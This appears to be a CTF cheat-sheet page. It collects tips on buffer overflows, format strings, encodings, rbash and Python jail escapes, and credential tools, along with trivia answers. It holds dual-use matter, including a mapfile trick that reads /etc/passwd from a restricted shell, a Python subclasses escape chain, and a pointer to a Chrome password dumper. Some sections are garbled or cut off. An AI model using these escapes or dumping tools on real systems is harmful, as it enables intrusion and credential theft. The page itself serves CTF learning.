formatStringExploiterA good Python module to streamline exploiting a format string vulnerability. THIS IS NOT ALWAYS A GOOD TACTIC…
64-bit Buffer Overflow64-bit buffer overflow challenges are often difficult because the null bytes get in the way of memory addresses (for the function you want to jump to, that you can usually find with readelf -s). But, check if whether or not the function address you need starts with the same hex values already on the stack (in rsp). Maybe you only have to write two or three bytes after the overflow, rather than the whole function address.

VisualBasicScript Reversing

Miscellaneous

Payload All The ThingsSuper useful repo that has a payload for basically every sceario
Punchcards(/Punch cards)Sometimes it sucks to do these manually, but you can here: http://tyleregeto.com/article/punch-card-emulator
GameBoy ROMSYou have options to run GameBoy ROMs… one is using VisualBoyAdvance, the oher is RetroArch (which is supposedly better):

# VisualBoyAdvance
sudo add-apt-repository universe
sudo apt install visualboyadvance

# RetroArch
sudo add-apt-repository ppa:libretro/stable && sudo apt-get update && sudo apt-get install -y retroarch* libretro-*

References to DICE, or EFFIf your challenges references “EFF” or includes dice in some way, or showcases numbers 1-6 of length 5, try https://www.eff.org/dice. This could refer to a passphrase generated by dice rolls available here: https://www.eff.org/files/2016/07/18/eff_large_wordlist.txt
Base64, Base32, Base85

Base64:
TWFuIGlzIGRpc3Rpbmd1aXNoZWQsIG5vdCBvbmx5IGJ5IGhpcyByZWFzb24sIGJ1dCBieSB0aGlz
IHNpbmd1bGFyIHBhc3Npb24gZnJvbSBvdGhlciBhbmltYWxzLCB3aGljaCBpcyBhIGx1c3Qgb2Yg
dGhlIG1pbmQsIHRoYXQgYnkgYSBwZXJzZXZlcmFuY2Ugb2YgZGVsaWdodCBpbiB0aGUgY29udGlu
dWVkIGFuZCBpbmRlZmF0aWdhYmxlIGdlbmVyYXRpb24gb2Yga25vd2xlZGdlLCBleGNlZWRzIHRo
ZSBzaG9ydCB2ZWhlbWVuY2Ugb2YgYW55IGNhcm5hbCBwbGVhc3VyZS4=

Base32
ORUGS4ZANFZSAYLOEBSXQYLNOBWGKIDPMYQGEYLTMUZTELRANF2CA2LTEB3GS43JMJWGKIDCPEQGY33UOMQG6ZRAMNQXA2LUMFWCA3DFOR2GK4TTEBQW4ZBANVXXEZJAMVYXKYLMOMQHG2LHNZZSAZTPOIQHAYLEMRUW4ZZMEBSXQ5DSME======

Base85:
<~9jqo^BlbD-BleB1DJ+*+F(f,q/0JhKF<GL>Cj@.4Gp$d7F!,L7@<6@)/0JDEF<G%<+EV:2F!,
O<DJ+*.@<*K0@<6L(Df-\0Ec5e;DffZ(EZee.Bl.9pF"AGXBPCsi+DGm>@3BB/F*&OCAfu2/AKY
i(DIb:@FD,*)+C]U=@3BN#EcYf8ATD3s@q?d$AftVqCh[NqF<G:8+EV:.+Cf>-FD5W8ARlolDIa
l(DId<j@<?3r@:F%a+D58'ATD4$Bl@l3De:,-DJs`8ARoFb/0JMK@qB4^F!,R<AKZ&-DfTqBG%G
>uD.RTpAKYo'+CT/5+Cei#DII?(E,9)oF*2M7/c~>

Base65535Unicode characters encoding. Includes a lot of seemingly random spaces and chinese characters!

????????????嶜????????????????????????????????????????ꊌ????????邌????????????????????????????????????ꊌ????????炼綻????????薹????????????????????????赈????綹????????????????悺????????????㢹????????????????????????炜傼????????????????ꉌ邹????????????????????????????????????????????????????????????????????????????????????????????????????????????燉????????炸邹㢸????????????????????????????ꊺ????????????????????????????㽻????????????????????????????????????儛????ᔺ

Base41
Mac / Macintosh / Apple Hidden Files .DS_Store ds_store_expOn Mac computers, there is a hidden index file .DS_Store. You might be able to find it if you have an LFI vulnerability or something of the like. A good tool to track these down on a website is the DS_Store Exposer: https://github.com/lijiejie/ds_store_exp.
WordsearchesSome CTFs have me solve wordsearchs as part of a challenge (TJCTF 2018). This code is super helpful: https://github.com/robbiebarrat/word-search
“Unflattening” Base64 in lowercase or uppercaseSome time ago we needed to recover the original Base64 string from one that is in all lowercase or all uppercase. Caleb wrote a good script to smartly do this: https://pastebin.com/HprZcHrY
Password-protected Zip Files: fcrackzip and zip2john.pyUse
15 PuzzleA sliding puzzle that consists of a 4×4 grid with numbered square tiles, with one missing, set in a random order. It was involved in SharifCTF to determine if a group of these puzzles was solvable: https://theromanxpl0it.github.io/ctf_sharifctf18/fifteenpuzzle/
SETUID Binary MethodologyDon’t forget to check “simple” things — it doesn’t need to be a pwn or binary exploitation challenge, keep in mind IT DOES NOT use a secure PATH like sudo.
Chrome Password DumpA Windows command-line tool to dump passwords saved with Google Chrome. http://securityxploded.com/chrome-password-dump.php
img2txtA command-line tool to convert an image into ASCII for the terminal. Can be installed like so:

sudo apt install -y caca-utils

Strange Symbols/CharactersSome CTFs will try and hide a message on a picture with strange symbols. Try and Google Reverse Image searching these. They may be Egyptian Characters:

BitcoinYou might see a private Bitcoin key as a base64 encoded SHA256 hash, like this:

NWEyYTk5ZDNiYWEwN2JmYmQwOGI5NjEyMDVkY2FlODg3ZmIwYWNmOWYyNzI5MjliYWE3OTExZmFhNGFlNzc1MQ==

Decoded, it is a hash: `5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751`.

If you can find an AES ECB key along with (usually represented in hex or another encoding), you can decipher like so:

openssl enc -d -aes-256-ecb -in <(printf %s '5a2a99d3baa07bfbd08b961205dcae887fb0acf9f272929baa7911faa4ae7751' | xxd -r -p) -K '6fb3b5b05966fb06518ce6706ec933e79cfaea8f12b4485cba56321c7a62a077'
MCA{I$love$bitcoin$so$much!}

Missing ls or dir commandsIf you cannot run ls or dir, or find or grep, to list files you can use

echo *
echo /any/path/*

restricted bash (rbash) read filesIf you are a restricted shell like rbash you can still read any file with some builtin commands like mapfile:

mapfile -t  < /etc/passwd
printf "$s\n" "${anything[@]}"

Jail Breaks

Sometimes you’re jailed in an environment where you can potentially execute code.

Python 3
().__class__.__base__.__subclasses__() – Gives access to object subclasses

Trivia

Trivia Question: a reliable mechanism for websites to remember stateful information. Yummy!

Cookie

A group of binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation

base64

This CVE Proof of concept Shows NSA.gov playing “Never Gonna Give You Up,” by 1980s heart-throb Rick Astley.

CVE-2020-0601

The British used this machine to crack the German Enigma machine messages.

Bombe

What is the Windows LM hash for a blank password?

aad3b435b51404eeaad3b435b51404ee

for Windows LM hashing, after the password is split into two 7 character chunks, they are used as DES keys to encrypt what string?

KGS!@#$%

I am the person responsible for stopping one of the worst ransomware. Who am I?

MalwareTech

I am used by devices for sending error messages. Who am I?

ICMP

We are a CTF team which is open to everybody. Who are we?

OpenToAll - https://opentoallctf.github.io/